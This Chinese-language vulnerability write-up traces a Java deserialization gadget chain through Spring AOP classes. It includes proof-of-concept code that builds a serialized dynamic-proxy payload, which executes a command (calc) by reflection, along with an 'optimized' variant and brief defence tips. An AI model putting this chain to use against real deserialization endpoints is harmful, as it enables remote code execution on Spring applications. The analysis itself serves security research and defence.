Spring AOP 反序列化漏洞分析与利用
前言
本文详细分析Spring AOP框架中存在的一个反序列化漏洞链,该漏洞依赖于Spring-AOP和aspectjweaver两个包,但值得注意的是spring-boot-starter-aop已经自带了这两个依赖。这个漏洞链的危害性较大,因为其依赖较少且广泛存在于Spring应用中。
漏洞终点分析
漏洞的终点位于org.springframework.aop.aspectj.AbstractAspectJAdvice类,该类实现了Serializable接口,使其能够参与反序列化过程。
关键污点函数是AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs方法,该方法实现了反射调用:
protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
Object[] actualArgs = args;
if (this.aspectJAdviceMethod.getParameterTypes().length == 0) {
actualArgs = null;
}
try {
ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);
}
catch (IllegalArgumentException ex) {
throw new AopInvocationException("Mismatch on arguments to advice method [" +
this.aspectJAdviceMethod + "]; pointcut expression [" +
this.pointcut.getExpression() + "]", ex);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
AbstractAspectJAdvice的几个子类会调用这个污点方法:
AspectJAroundAdviceAspectJAfterThrowingAdviceAspectJAroundAdvice
这些子类通过invoke方法间接调用invokeAdviceMethod方法。
链中间关键部分
在org.springframework.aop.framework.ReflectiveMethodInvocation类中,proceed方法会调用invoke方法:
public Object proceed() throws Throwable {
if (this.currentInterceptorIndex == this.interceptorsAndDynamicMethodMatchers.size() - 1) {
return invokeJoinpoint();
}
Object interceptorOrInterceptionAdvice =
this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);
if (interceptorOrInterceptionAdvice instanceof InterceptorAndDynamicMethodMatcher) {
// 省略...
}
else {
return ((MethodInterceptor) interceptorOrInterceptionAdvice)
.invoke(this);
}
}
关键点分析:
interceptorOrInterceptionAdvice是从interceptorsAndDynamicMethodMatchers列表中获取的,这个列表可以被序列化控制currentInterceptorIndex是int类型,也可控- 我们需要让
interceptorOrInterceptionAdvice是AspectJAroundAdvice类型,这样会触发invoke调用
反序列化入口
ReflectiveMethodInvocation本身没有实现Serializable接口,需要通过动态代理来创建。在org.springframework.aop.framework.JdkDynamicAopProxy#invoke方法中:
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 省略...
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
// 创建ReflectiveMethodInvocation并调用proceed
invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
// 省略...
}
这里的关键是如何控制chain变量为我们想要的类(AspectJAroundAdvice)。
chain的来源有两种:
- 从
methodCache获取 - 不可行,因为加了transient修饰符 - 从
getInterceptorsAndDynamicInterceptionAdvice方法获取
getInterceptorsAndDynamicInterceptionAdvice方法最终返回interceptorList对象,其元素通过registry.getInterceptors(advisor)获取,而registry是GlobalAdvisorAdapterRegistry.getInstance()获取的单例。
关键类org.springframework.aop.framework.adapter.DefaultAdvisorAdapterRegistry#getInterceptors:
public MethodInterceptor[] getInterceptors(Advisor advisor) throws UnknownAdviceTypeException {
List<MethodInterceptor> interceptors = new ArrayList<>(3);
Advice advice = advisor.getAdvice();
if (advice instanceof MethodInterceptor) {
interceptors.add((MethodInterceptor) advice);
}
for (AdvisorAdapter adapter : this.adapters) {
if (adapter.supportsAdvice(advice)) {
interceptors.add(adapter.getInterceptor(advisor));
}
}
if (interceptors.isEmpty()) {
throw new UnknownAdviceTypeException(advisor.getAdvice());
}
return interceptors.toArray(new MethodInterceptor[0]);
}
漏洞利用链整体流程
- 通过动态代理创建
JdkDynamicAopProxy实例 - 触发
JdkDynamicAopProxy.invoke方法 - 创建
ReflectiveMethodInvocation实例并调用proceed proceed方法调用AspectJAroundAdvice.invokeinvoke调用invokeAdviceMethod- 最终执行恶意字节码
POC构造关键点
1. 构造AspectJAroundAdvice
private static AspectJAroundAdvice getAspectJAroundAdvice() throws Exception {
// 生成执行命令的字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("AspectJAdvice");
CtMethod ctMethod = CtNewMethod.make("public void advice() { " +
"try { Runtime.getRuntime().exec(\"calc\"); } catch (Exception e) {} }", ctClass);
ctClass.addMethod(ctMethod);
byte[] bytes = ctClass.toBytecode();
// 创建AspectInstanceFactory
SingletonAspectInstanceFactory aspectInstanceFactory =
new SingletonAspectInstanceFactory(new EvilAspect());
// 创建AspectJAroundAdvice
AspectJAroundAdvice advice = new AspectJAroundAdvice(
EvilAspect.class.getMethod("advice"),
new AspectJExpressionPointcut(),
aspectInstanceFactory);
// 反射修改必要属性
Reflections.setFieldValue(advice, "aspectJAdviceMethod",
EvilAspect.class.getMethod("advice"));
Reflections.setFieldValue(advice, "declarationOrder", -1);
return advice;
}
2. 构造动态代理对象
public static Object getObject() throws Exception {
// 获取恶意AspectJAroundAdvice
AspectJAroundAdvice advice = getAspectJAroundAdvice();
// 创建AdvisedSupport实例
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(new Object());
// 创建包含恶意advice的Advisor
DefaultPointcutAdvisor advisor = new DefaultPointcutAdvisor();
advisor.setAdvice(advice);
advisedSupport.addAdvisor(advisor);
// 创建动态代理
JdkDynamicAopProxy jdkDynamicAopProxy = new JdkDynamicAopProxy(advisedSupport);
// 再套一层代理,用于触发toString
CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
handler.addHandler(Advice.class, jdkDynamicAopProxy);
handler.addHandler(MethodInterceptor.class, jdkDynamicAopProxy);
return Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Advice.class, MethodInterceptor.class},
handler);
}
优化后的POC
通过分析,可以简化部分反射操作:
private static AspectJAroundAdvice getOptimizedAspectJAroundAdvice() throws Exception {
// 生成恶意字节码...
// 直接通过构造函数设置declarationOrder为-1
AspectJAroundAdvice advice = new AspectJAroundAdvice(
EvilAspect.class.getMethod("advice"),
new AspectJExpressionPointcut(),
new SingletonAspectInstanceFactory(new EvilAspect()));
// 只需要设置aspectJAdviceMethod
Reflections.setFieldValue(advice, "aspectJAdviceMethod",
EvilAspect.class.getMethod("advice"));
return advice;
}
总结
这个Spring AOP反序列化漏洞链具有以下特点:
- 依赖较少,仅需spring-aop和aspectjweaver
- 利用动态代理和反射机制实现攻击
- 最终可以执行任意命令
- 在Spring Boot应用中广泛存在
防御措施:
- 升级Spring框架到安全版本
- 对反序列化操作进行严格限制
- 使用安全工具检测应用中是否存在相关依赖